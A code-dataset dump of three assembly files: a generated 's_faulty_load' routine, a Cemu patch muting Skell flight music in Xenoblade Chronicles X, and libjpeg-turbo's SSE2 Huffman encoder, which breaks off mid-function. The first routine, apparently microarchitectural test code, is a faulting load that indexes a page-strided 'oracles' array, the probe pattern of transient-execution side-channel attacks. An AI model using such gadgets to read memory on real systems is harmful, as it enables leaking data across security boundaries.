movq %rbx, %xmm7
vmovups %ymm7, (%r9)
nop
add $46486, %r10
lea addresses_UC_ht+0xfb2, %rbx
nop
sub $7045, %rdi
mov (%rbx), %r10w
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x1582, %rsi
lea addresses_normal_ht+0x1a5e2, %rdi
clflush (%rdi)
cmp $15755, %r9
mov $94, %rcx
rep movsl
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_UC_ht+0xdd22, %rsi
lea addresses_normal_ht+0x107e2, %rdi
clflush (%rdi)
add %r12, %r12
mov $72, %rcx
rep movsb
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_A+0x15eca, %rsi
lea addresses_WC+0xdbe2, %rdi
nop
nop
cmp $51852, %r8
mov $11, %rcx
rep movsb
sub %rsi, %rsi
// Load
lea addresses_RW+0xb7e2, %r8
nop
nop
nop
sub %rbx, %rbx
mov (%r8), %rsi
nop
nop
nop
inc %r13
// Faulty Load
lea addresses_A+0x99e2, %rsi
nop
nop
add %r13, %r13
mov (%rsi), %r8w
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': True, 'type': 'addresses_A'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}}
{'00': 48}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 21.272727 | 153 | 0.648932 |
ebae2aa188b00dec2f0993c64d6a93dd985c37b1 | 465 | asm | Assembly | src/XenobladeChroniclesX/Mods/MusicSkellFlightDisabled/patch_music_flight.asm | lilystudent2016/cemu_graphic_packs | a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46 | [
"CC0-1.0"
] | 1,002 | 2017-01-10T13:10:55.000Z | 2020-11-20T18:34:19.000Z | src/XenobladeChroniclesX/Mods/MusicSkellFlightDisabled/patch_music_flight.asm | lilystudent2016/cemu_graphic_packs | a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46 | [
"CC0-1.0"
] | 347 | 2017-01-11T21:13:20.000Z | 2020-11-27T11:33:05.000Z | src/XenobladeChroniclesX/Mods/MusicSkellFlightDisabled/patch_music_flight.asm | lilystudent2016/cemu_graphic_packs | a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46 | [
"CC0-1.0"
] | 850 | 2017-01-10T06:06:43.000Z | 2020-11-06T21:16:49.000Z | [XCX_BGMNOFLIGHT]
moduleMatches = 0xF882D5CF, 0x30B6E091 ; 1.0.1E, 1.0.2U
; ----------------------------------------------------------------------------
; WHO : cfs::CfSoundManager::fbgmUpdate((void))
; WHAT : Never call function cfs::CfSoundManager::fbgmChangeNameDoll((bool)) so that Skell Flight music is never played
0x022A4DD4 = _skip:
0x022A4DC0 = b _skip
[XCX_BGMNOFLIGHT_1U]
moduleMatches = 0xAB97DE6B ; 1.0.1U
0x022A4D64 = _skip:
0x022A4D50 = b _skip
| 29.0625 | 119 | 0.627957 |
278cf5e83af3d0bdbab68098aae696af82369be5 | 39,395 | asm | Assembly | simd/i386/jchuff-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 3,597 | 2015-01-01T07:16:18.000Z | 2022-03-31T09:10:04.000Z | simd/i386/jchuff-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 554 | 2015-07-27T22:30:34.000Z | 2022-03-29T20:05:23.000Z | simd/i386/jchuff-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 942 | 2015-07-27T23:13:52.000Z | 2022-03-31T14:11:23.000Z | ;
; jchuff-sse2.asm - Huffman entropy encoding (SSE2)
;
; Copyright (C) 2009-2011, 2014-2017, 2019, D. R. Commander.
; Copyright (C) 2015, Matthieu Darbois.
; Copyright (C) 2018, Matthias Räncker.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; This file contains an SSE2 implementation for Huffman coding of one block.
; The following code is based on jchuff.c; see jchuff.c for more details.
%include "jsimdext.inc"
struc working_state
.next_output_byte: resp 1 ; => next byte to write in buffer
.free_in_buffer: resp 1 ; # of byte spaces remaining in buffer
.cur.put_buffer.simd resq 1 ; current bit accumulation buffer
.cur.free_bits resd 1 ; # of bits available in it
.cur.last_dc_val resd 4 ; last DC coef for each component
.cinfo: resp 1 ; dump_buffer needs access to this
endstruc
struc c_derived_tbl
.ehufco: resd 256 ; code for each symbol
.ehufsi: resb 256 ; length of code for each symbol
; If no code has been allocated for a symbol S, ehufsi[S] contains 0
endstruc
; --------------------------------------------------------------------------
SECTION SEG_CONST
GLOBAL_DATA(jconst_huff_encode_one_block)
EXTN(jconst_huff_encode_one_block):
alignz 32
jpeg_mask_bits dq 0x0000, 0x0001, 0x0003, 0x0007
dq 0x000f, 0x001f, 0x003f, 0x007f
dq 0x00ff, 0x01ff, 0x03ff, 0x07ff
dq 0x0fff, 0x1fff, 0x3fff, 0x7fff
times 1 << 14 db 15
times 1 << 13 db 14
times 1 << 12 db 13
times 1 << 11 db 12
times 1 << 10 db 11
times 1 << 9 db 10
times 1 << 8 db 9
times 1 << 7 db 8
times 1 << 6 db 7
times 1 << 5 db 6
times 1 << 4 db 5
times 1 << 3 db 4
times 1 << 2 db 3
times 1 << 1 db 2
times 1 << 0 db 1
times 1 db 0
jpeg_nbits_table:
times 1 db 0
times 1 << 0 db 1
times 1 << 1 db 2
times 1 << 2 db 3
times 1 << 3 db 4
times 1 << 4 db 5
times 1 << 5 db 6
times 1 << 6 db 7
times 1 << 7 db 8
times 1 << 8 db 9
times 1 << 9 db 10
times 1 << 10 db 11
times 1 << 11 db 12
times 1 << 12 db 13
times 1 << 13 db 14
times 1 << 14 db 15
alignz 32
%ifdef PIC
%define NBITS(x) nbits_base + x
%else
%define NBITS(x) jpeg_nbits_table + x
%endif
%define MASK_BITS(x) NBITS((x) * 8) + (jpeg_mask_bits - jpeg_nbits_table)
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
%define mm_put_buffer mm0
%define mm_all_0xff mm1
%define mm_temp mm2
%define mm_nbits mm3
%define mm_code_bits mm3
%define mm_code mm4
%define mm_overflow_bits mm5
%define mm_save_nbits mm6
; Shorthand used to describe SIMD operations:
; wN: xmmN treated as eight signed 16-bit values
; wN[i]: perform the same operation on all eight signed 16-bit values, i=0..7
; bN: xmmN treated as 16 unsigned 8-bit values, or
; mmN treated as eight unsigned 8-bit values
; bN[i]: perform the same operation on all unsigned 8-bit values,
; i=0..15 (SSE register) or i=0..7 (MMX register)
; Contents of SIMD registers are shown in memory order.
; Fill the bit buffer to capacity with the leading bits from code, then output
; the bit buffer and put the remaining bits from code into the bit buffer.
;
; Usage:
; code - contains the bits to shift into the bit buffer (LSB-aligned)
; %1 - temp register
; %2 - low byte of temp register
; %3 - second byte of temp register
; %4-%8 (optional) - extra instructions to execute before the macro completes
; %9 - the label to which to jump when the macro completes
;
; Upon completion, free_bits will be set to the number of remaining bits from
; code, and put_buffer will contain those remaining bits. temp and code will
; be clobbered.
;
; This macro encodes any 0xFF bytes as 0xFF 0x00, as does the EMIT_BYTE()
; macro in jchuff.c.
%macro EMIT_QWORD 9
%define %%temp %1
%define %%tempb %2
%define %%temph %3
add nbits, free_bits ; nbits += free_bits;
neg free_bits ; free_bits = -free_bits;
movq mm_temp, mm_code ; temp = code;
movd mm_nbits, nbits ; nbits --> MMX register
movd mm_overflow_bits, free_bits ; overflow_bits (temp register) = free_bits;
neg free_bits ; free_bits = -free_bits;
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
psrlq mm_temp, mm_overflow_bits ; temp >>= overflow_bits;
add free_bits, 64 ; free_bits += 64;
por mm_temp, mm_put_buffer ; temp |= put_buffer;
%ifidn %%temp, nbits_base
movd mm_save_nbits, nbits_base ; save nbits_base
%endif
movq mm_code_bits, mm_temp ; code_bits (temp register) = temp;
movq mm_put_buffer, mm_code ; put_buffer = code;
pcmpeqb mm_temp, mm_all_0xff ; b_temp[i] = (b_temp[i] == 0xFF ? 0xFF : 0);
movq mm_code, mm_code_bits ; code = code_bits;
psrlq mm_code_bits, 32 ; code_bits >>= 32;
pmovmskb nbits, mm_temp ; nbits = 0; nbits |= ((b_temp[i] >> 7) << i);
movd %%temp, mm_code_bits ; temp = code_bits;
bswap %%temp ; temp = htonl(temp);
test nbits, nbits ; if (nbits != 0) /* Some 0xFF bytes */
jnz %%.SLOW ; goto %%.SLOW
mov dword [buffer], %%temp ; *(uint32_t)buffer = temp;
%ifidn %%temp, nbits_base
movd nbits_base, mm_save_nbits ; restore nbits_base
%endif
%4
movd nbits, mm_code ; nbits = (uint32_t)(code);
%5
bswap nbits ; nbits = htonl(nbits);
mov dword [buffer + 4], nbits ; *(uint32_t)(buffer + 4) = nbits;
lea buffer, [buffer + 8] ; buffer += 8;
%6
%7
%8
jmp %9 ; return
%%.SLOW:
; Execute the equivalent of the EMIT_BYTE() macro in jchuff.c for all 8
; bytes in the qword.
mov byte [buffer], %%tempb ; buffer[0] = temp[0];
cmp %%tempb, 0xFF ; Set CF if temp[0] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (temp[0] < 0xFF ? 1 : 0));
mov byte [buffer], %%temph ; buffer[0] = temp[1];
cmp %%temph, 0xFF ; Set CF if temp[1] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (temp[1] < 0xFF ? 1 : 0));
shr %%temp, 16 ; temp >>= 16;
mov byte [buffer], %%tempb ; buffer[0] = temp[0];
cmp %%tempb, 0xFF ; Set CF if temp[0] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (temp[0] < 0xFF ? 1 : 0));
mov byte [buffer], %%temph ; buffer[0] = temp[1];
cmp %%temph, 0xFF ; Set CF if temp[1] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (temp[1] < 0xFF ? 1 : 0));
movd nbits, mm_code ; nbits (temp register) = (uint32_t)(code)
%ifidn %%temp, nbits_base
movd nbits_base, mm_save_nbits ; restore nbits_base
%endif
bswap nbits ; nbits = htonl(nbits)
mov byte [buffer], nbitsb ; buffer[0] = nbits[0];
cmp nbitsb, 0xFF ; Set CF if nbits[0] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (nbits[0] < 0xFF ? 1 : 0));
mov byte [buffer], nbitsh ; buffer[0] = nbits[1];
cmp nbitsh, 0xFF ; Set CF if nbits[1] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (nbits[1] < 0xFF ? 1 : 0));
shr nbits, 16 ; nbits >>= 16;
mov byte [buffer], nbitsb ; buffer[0] = nbits[0];
cmp nbitsb, 0xFF ; Set CF if nbits[0] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (nbits[0] < 0xFF ? 1 : 0));
mov byte [buffer], nbitsh ; buffer[0] = nbits[1];
%4
cmp nbitsh, 0xFF ; Set CF if nbits[1] < 0xFF
mov byte [buffer+1], 0 ; buffer[1] = 0;
sbb buffer, -2 ; buffer -= (-2 + (nbits[1] < 0xFF ? 1 : 0));
%5
%6
%7
%8
jmp %9 ; return;
%endmacro
%macro PUSH 1
push %1
%assign stack_offset stack_offset + 4
%endmacro
%macro POP 1
pop %1
%assign stack_offset stack_offset - 4
%endmacro
; If PIC is defined, load the address of a symbol defined in this file into a
; register. Equivalent to
; get_GOT %1
; lea %1, [GOTOFF(%1, %2)]
; without using the GOT.
;
; Usage:
; %1 - register into which to load the address of the symbol
; %2 - symbol whose address should be loaded
; %3 - optional multi-line macro to execute before the symbol address is loaded
; %4 - optional multi-line macro to execute after the symbol address is loaded
;
; If PIC is not defined, then %3 and %4 are executed in order.
%macro GET_SYM 2-4
%ifdef PIC
call %%.geteip
%%.ref:
%4
add %1, %2 - %%.ref
jmp short %%.done
align 32
%%.geteip:
%3 4 ; must adjust stack pointer because of call
mov %1, POINTER [esp]
ret
align 32
%%.done:
%else
%3 0
%4
%endif
%endmacro
;
; Encode a single block's worth of coefficients.
;
; GLOBAL(JOCTET *)
; jsimd_huff_encode_one_block_sse2(working_state *state, JOCTET *buffer,
; JCOEFPTR block, int last_dc_val,
; c_derived_tbl *dctbl, c_derived_tbl *actbl)
;
; Stack layout:
; Function args
; Return address
; Saved ebx
; Saved ebp
; Saved esi
; Saved edi <-- esp_save
; ...
; esp_save
; t_ 64*2 bytes (aligned to 128 bytes)
;
; esp is used (as t) to point into t_ (data in lower indices is not used once
; esp passes over them, so this is signal-safe.) Aligning to 128 bytes allows
; us to find the rest of the data again.
;
; NOTES:
; When shuffling data, we try to avoid pinsrw as much as possible, since it is
; slow on many CPUs. Its reciprocal throughput (issue latency) is 1 even on
; modern CPUs, so chains of pinsrw instructions (even with different outputs)
; can limit performance. pinsrw is a VectorPath instruction on AMD K8 and
; requires 2 µops (with memory operand) on Intel. In either case, only one
; pinsrw instruction can be decoded per cycle (and nothing else if they are
; back-to-back), so out-of-order execution cannot be used to work around long
; pinsrw chains (though for Sandy Bridge and later, this may be less of a
; problem if the code runs from the µop cache.)
;
; We use tzcnt instead of bsf without checking for support. The instruction is
; executed as bsf on CPUs that don't support tzcnt (encoding is equivalent to
; rep bsf.) The destination (first) operand of bsf (and tzcnt on some CPUs) is
; an input dependency (although the behavior is not formally defined, Intel
; CPUs usually leave the destination unmodified if the source is zero.) This
; can prevent out-of-order execution, so we clear the destination before
; invoking tzcnt.
;
; Initial register allocation
; eax - frame --> buffer
; ebx - nbits_base (PIC) / emit_temp
; ecx - dctbl --> size --> state
; edx - block --> nbits
; esi - code_temp --> state --> actbl
; edi - index_temp --> free_bits
; esp - t
; ebp - index
%define frame eax
%ifdef PIC
%define nbits_base ebx
%endif
%define emit_temp ebx
%define emit_tempb bl
%define emit_temph bh
%define dctbl ecx
%define block edx
%define code_temp esi
%define index_temp edi
%define t esp
%define index ebp
%assign save_frame DCTSIZE2 * SIZEOF_WORD
; Step 1: Re-arrange input data according to jpeg_natural_order
; xx 01 02 03 04 05 06 07 xx 01 08 16 09 02 03 10
; 08 09 10 11 12 13 14 15 17 24 32 25 18 11 04 05
; 16 17 18 19 20 21 22 23 12 19 26 33 40 48 41 34
; 24 25 26 27 28 29 30 31 ==> 27 20 13 06 07 14 21 28
; 32 33 34 35 36 37 38 39 35 42 49 56 57 50 43 36
; 40 41 42 43 44 45 46 47 29 22 15 23 30 37 44 51
; 48 49 50 51 52 53 54 55 58 59 52 45 38 31 39 46
; 56 57 58 59 60 61 62 63 53 60 61 54 47 55 62 63
align 32
GLOBAL_FUNCTION(jsimd_huff_encode_one_block_sse2)
EXTN(jsimd_huff_encode_one_block_sse2):
%assign stack_offset 0
%define arg_state 4 + stack_offset
%define arg_buffer 8 + stack_offset
%define arg_block 12 + stack_offset
%define arg_last_dc_val 16 + stack_offset
%define arg_dctbl 20 + stack_offset
%define arg_actbl 24 + stack_offset
;X: X = code stream
mov block, [esp + arg_block]
PUSH ebx
PUSH ebp
movups xmm3, XMMWORD [block + 0 * SIZEOF_WORD] ;D: w3 = xx 01 02 03 04 05 06 07
PUSH esi
PUSH edi
movdqa xmm0, xmm3 ;A: w0 = xx 01 02 03 04 05 06 07
mov frame, esp
lea t, [frame - (save_frame + 4)]
movups xmm1, XMMWORD [block + 8 * SIZEOF_WORD] ;B: w1 = 08 09 10 11 12 13 14 15
and t, -DCTSIZE2 * SIZEOF_WORD ; t = &t_[0]
mov [t + save_frame], frame
pxor xmm4, xmm4 ;A: w4[i] = 0;
punpckldq xmm0, xmm1 ;A: w0 = xx 01 08 09 02 03 10 11
pshuflw xmm0, xmm0, 11001001b ;A: w0 = 01 08 xx 09 02 03 10 11
pinsrw xmm0, word [block + 16 * SIZEOF_WORD], 2 ;A: w0 = 01 08 16 09 02 03 10 11
punpckhdq xmm3, xmm1 ;D: w3 = 04 05 12 13 06 07 14 15
punpcklqdq xmm1, xmm3 ;B: w1 = 08 09 10 11 04 05 12 13
pinsrw xmm0, word [block + 17 * SIZEOF_WORD], 7 ;A: w0 = 01 08 16 09 02 03 10 17
;A: (Row 0, offset 1)
pcmpgtw xmm4, xmm0 ;A: w4[i] = (w0[i] < 0 ? -1 : 0);
paddw xmm0, xmm4 ;A: w0[i] += w4[i];
movaps XMMWORD [t + 0 * SIZEOF_WORD], xmm0 ;A: t[i] = w0[i];
movq xmm2, qword [block + 24 * SIZEOF_WORD] ;B: w2 = 24 25 26 27 -- -- -- --
pshuflw xmm2, xmm2, 11011000b ;B: w2 = 24 26 25 27 -- -- -- --
pslldq xmm1, 1 * SIZEOF_WORD ;B: w1 = -- 08 09 10 11 04 05 12
movups xmm5, XMMWORD [block + 48 * SIZEOF_WORD] ;H: w5 = 48 49 50 51 52 53 54 55
movsd xmm1, xmm2 ;B: w1 = 24 26 25 27 11 04 05 12
punpcklqdq xmm2, xmm5 ;C: w2 = 24 26 25 27 48 49 50 51
pinsrw xmm1, word [block + 32 * SIZEOF_WORD], 1 ;B: w1 = 24 32 25 27 11 04 05 12
pxor xmm4, xmm4 ;A: w4[i] = 0;
psrldq xmm3, 2 * SIZEOF_WORD ;D: w3 = 12 13 06 07 14 15 -- --
pcmpeqw xmm0, xmm4 ;A: w0[i] = (w0[i] == 0 ? -1 : 0);
pinsrw xmm1, word [block + 18 * SIZEOF_WORD], 3 ;B: w1 = 24 32 25 18 11 04 05 12
; (Row 1, offset 1)
pcmpgtw xmm4, xmm1 ;B: w4[i] = (w1[i] < 0 ? -1 : 0);
paddw xmm1, xmm4 ;B: w1[i] += w4[i];
movaps XMMWORD [t + 8 * SIZEOF_WORD], xmm1 ;B: t[i+8] = w1[i];
pxor xmm4, xmm4 ;B: w4[i] = 0;
pcmpeqw xmm1, xmm4 ;B: w1[i] = (w1[i] == 0 ? -1 : 0);
packsswb xmm0, xmm1 ;AB: b0[i] = w0[i], b0[i+8] = w1[i]
; w/ signed saturation
pinsrw xmm3, word [block + 20 * SIZEOF_WORD], 0 ;D: w3 = 20 13 06 07 14 15 -- --
pinsrw xmm3, word [block + 21 * SIZEOF_WORD], 5 ;D: w3 = 20 13 06 07 14 21 -- --
pinsrw xmm3, word [block + 28 * SIZEOF_WORD], 6 ;D: w3 = 20 13 06 07 14 21 28 --
pinsrw xmm3, word [block + 35 * SIZEOF_WORD], 7 ;D: w3 = 20 13 06 07 14 21 28 35
; (Row 3, offset 1)
pcmpgtw xmm4, xmm3 ;D: w4[i] = (w3[i] < 0 ? -1 : 0);
paddw xmm3, xmm4 ;D: w3[i] += w4[i];
movaps XMMWORD [t + 24 * SIZEOF_WORD], xmm3 ;D: t[i+24] = w3[i];
pxor xmm4, xmm4 ;D: w4[i] = 0;
pcmpeqw xmm3, xmm4 ;D: w3[i] = (w3[i] == 0 ? -1 : 0);
pinsrw xmm2, word [block + 19 * SIZEOF_WORD], 0 ;C: w2 = 19 26 25 27 48 49 50 51
pinsrw xmm2, word [block + 33 * SIZEOF_WORD], 2 ;C: w2 = 19 26 33 27 48 49 50 51
pinsrw xmm2, word [block + 40 * SIZEOF_WORD], 3 ;C: w2 = 19 26 33 40 48 49 50 51
pinsrw xmm2, word [block + 41 * SIZEOF_WORD], 5 ;C: w2 = 19 26 33 40 48 41 50 51
pinsrw xmm2, word [block + 34 * SIZEOF_WORD], 6 ;C: w2 = 19 26 33 40 48 41 34 51
pinsrw xmm2, word [block + 27 * SIZEOF_WORD], 7 ;C: w2 = 19 26 33 40 48 41 34 27
; (Row 2, offset 1)
pcmpgtw xmm4, xmm2 ;C: w4[i] = (w2[i] < 0 ? -1 : 0);
paddw xmm2, xmm4 ;C: w2[i] += w4[i];
movsx code_temp, word [block] ;Z: code_temp = block[0];
; %1 - stack pointer adjustment
%macro GET_SYM_BEFORE 1
movaps XMMWORD [t + 16 * SIZEOF_WORD + %1], xmm2
;C: t[i+16] = w2[i];
pxor xmm4, xmm4 ;C: w4[i] = 0;
pcmpeqw xmm2, xmm4 ;C: w2[i] = (w2[i] == 0 ? -1 : 0);
sub code_temp, [frame + arg_last_dc_val] ;Z: code_temp -= last_dc_val;
packsswb xmm2, xmm3 ;CD: b2[i] = w2[i], b2[i+8] = w3[i]
; w/ signed saturation
movdqa xmm3, xmm5 ;H: w3 = 48 49 50 51 52 53 54 55
pmovmskb index_temp, xmm2 ;Z: index_temp = 0; index_temp |= ((b2[i] >> 7) << i);
pmovmskb index, xmm0 ;Z: index = 0; index |= ((b0[i] >> 7) << i);
movups xmm0, XMMWORD [block + 56 * SIZEOF_WORD] ;H: w0 = 56 57 58 59 60 61 62 63
punpckhdq xmm3, xmm0 ;H: w3 = 52 53 60 61 54 55 62 63
shl index_temp, 16 ;Z: index_temp <<= 16;
psrldq xmm3, 1 * SIZEOF_WORD ;H: w3 = 53 60 61 54 55 62 63 --
pxor xmm2, xmm2 ;H: w2[i] = 0;
pshuflw xmm3, xmm3, 00111001b ;H: w3 = 60 61 54 53 55 62 63 --
or index, index_temp ;Z: index |= index_temp;
%undef index_temp
%define free_bits edi
%endmacro
%macro GET_SYM_AFTER 0
movq xmm1, qword [block + 44 * SIZEOF_WORD] ;G: w1 = 44 45 46 47 -- -- -- --
unpcklps xmm5, xmm0 ;E: w5 = 48 49 56 57 50 51 58 59
pxor xmm0, xmm0 ;H: w0[i] = 0;
not index ;Z: index = ~index;
pinsrw xmm3, word [block + 47 * SIZEOF_WORD], 3 ;H: w3 = 60 61 54 47 55 62 63 --
; (Row 7, offset 1)
pcmpgtw xmm2, xmm3 ;H: w2[i] = (w3[i] < 0 ? -1 : 0);
mov dctbl, [frame + arg_dctbl]
paddw xmm3, xmm2 ;H: w3[i] += w2[i];
movaps XMMWORD [t + 56 * SIZEOF_WORD], xmm3 ;H: t[i+56] = w3[i];
movq xmm4, qword [block + 36 * SIZEOF_WORD] ;G: w4 = 36 37 38 39 -- -- -- --
pcmpeqw xmm3, xmm0 ;H: w3[i] = (w3[i] == 0 ? -1 : 0);
punpckldq xmm4, xmm1 ;G: w4 = 36 37 44 45 38 39 46 47
movdqa xmm1, xmm4 ;F: w1 = 36 37 44 45 38 39 46 47
pcmpeqw mm_all_0xff, mm_all_0xff ;Z: all_0xff[i] = 0xFF;
%endmacro
GET_SYM nbits_base, jpeg_nbits_table, GET_SYM_BEFORE, GET_SYM_AFTER
psrldq xmm4, 1 * SIZEOF_WORD ;G: w4 = 37 44 45 38 39 46 47 --
shufpd xmm1, xmm5, 10b ;F: w1 = 36 37 44 45 50 51 58 59
pshufhw xmm4, xmm4, 11010011b ;G: w4 = 37 44 45 38 -- 39 46 --
pslldq xmm1, 1 * SIZEOF_WORD ;F: w1 = -- 36 37 44 45 50 51 58
pinsrw xmm4, word [block + 59 * SIZEOF_WORD], 0 ;G: w4 = 59 44 45 38 -- 39 46 --
pshufd xmm1, xmm1, 11011000b ;F: w1 = -- 36 45 50 37 44 51 58
cmp code_temp, 1 << 31 ;Z: Set CF if code_temp < 0x80000000,
;Z: i.e. if code_temp is positive
pinsrw xmm4, word [block + 52 * SIZEOF_WORD], 1 ;G: w4 = 59 52 45 38 -- 39 46 --
movlps xmm1, qword [block + 20 * SIZEOF_WORD] ;F: w1 = 20 21 22 23 37 44 51 58
pinsrw xmm4, word [block + 31 * SIZEOF_WORD], 4 ;G: w4 = 59 52 45 38 31 39 46 --
pshuflw xmm1, xmm1, 01110010b ;F: w1 = 22 20 23 21 37 44 51 58
pinsrw xmm4, word [block + 53 * SIZEOF_WORD], 7 ;G: w4 = 59 52 45 38 31 39 46 53
; (Row 6, offset 1)
adc code_temp, -1 ;Z: code_temp += -1 + (code_temp >= 0 ? 1 : 0);
pxor xmm2, xmm2 ;G: w2[i] = 0;
pcmpgtw xmm0, xmm4 ;G: w0[i] = (w4[i] < 0 ? -1 : 0);
pinsrw xmm1, word [block + 15 * SIZEOF_WORD], 1 ;F: w1 = 22 15 23 21 37 44 51 58
paddw xmm4, xmm0 ;G: w4[i] += w0[i];
movaps XMMWORD [t + 48 * SIZEOF_WORD], xmm4 ;G: t[48+i] = w4[i];
movd mm_temp, code_temp ;Z: temp = code_temp
pinsrw xmm1, word [block + 30 * SIZEOF_WORD], 3 ;F: w1 = 22 15 23 30 37 44 51 58
; (Row 5, offset 1)
pcmpeqw xmm4, xmm2 ;G: w4[i] = (w4[i] == 0 ? -1 : 0);
packsswb xmm4, xmm3 ;GH: b4[i] = w4[i], b4[i+8] = w3[i]
; w/ signed saturation
lea t, [t - SIZEOF_WORD] ;Z: t = &t[-1]
pxor xmm0, xmm0 ;F: w0[i] = 0;
pcmpgtw xmm2, xmm1 ;F: w2[i] = (w1[i] < 0 ? -1 : 0);
paddw xmm1, xmm2 ;F: w1[i] += w2[i];
movaps XMMWORD [t + (40+1) * SIZEOF_WORD], xmm1 ;F: t[40+i] = w1[i];
pcmpeqw xmm1, xmm0 ;F: w1[i] = (w1[i] == 0 ? -1 : 0);
pinsrw xmm5, word [block + 42 * SIZEOF_WORD], 0 ;E: w5 = 42 49 56 57 50 51 58 59
pinsrw xmm5, word [block + 43 * SIZEOF_WORD], 5 ;E: w5 = 42 49 56 57 50 43 58 59
pinsrw xmm5, word [block + 36 * SIZEOF_WORD], 6 ;E: w5 = 42 49 56 57 50 43 36 59
pinsrw xmm5, word [block + 29 * SIZEOF_WORD], 7 ;E: w5 = 42 49 56 57 50 43 36 29
; (Row 4, offset 1)
%undef block
%define nbits edx
%define nbitsb dl
%define nbitsh dh
movzx nbits, byte [NBITS(code_temp)] ;Z: nbits = JPEG_NBITS(code_temp);
%undef code_temp
%define state esi
pxor xmm2, xmm2 ;E: w2[i] = 0;
mov state, [frame + arg_state]
movd mm_nbits, nbits ;Z: nbits --> MMX register
pcmpgtw xmm0, xmm5 ;E: w0[i] = (w5[i] < 0 ? -1 : 0);
movd mm_code, dword [dctbl + c_derived_tbl.ehufco + nbits * 4]
;Z: code = dctbl->ehufco[nbits];
%define size ecx
%define sizeb cl
%define sizeh ch
paddw xmm5, xmm0 ;E: w5[i] += w0[i];
movaps XMMWORD [t + (32+1) * SIZEOF_WORD], xmm5 ;E: t[32+i] = w5[i];
movzx size, byte [dctbl + c_derived_tbl.ehufsi + nbits]
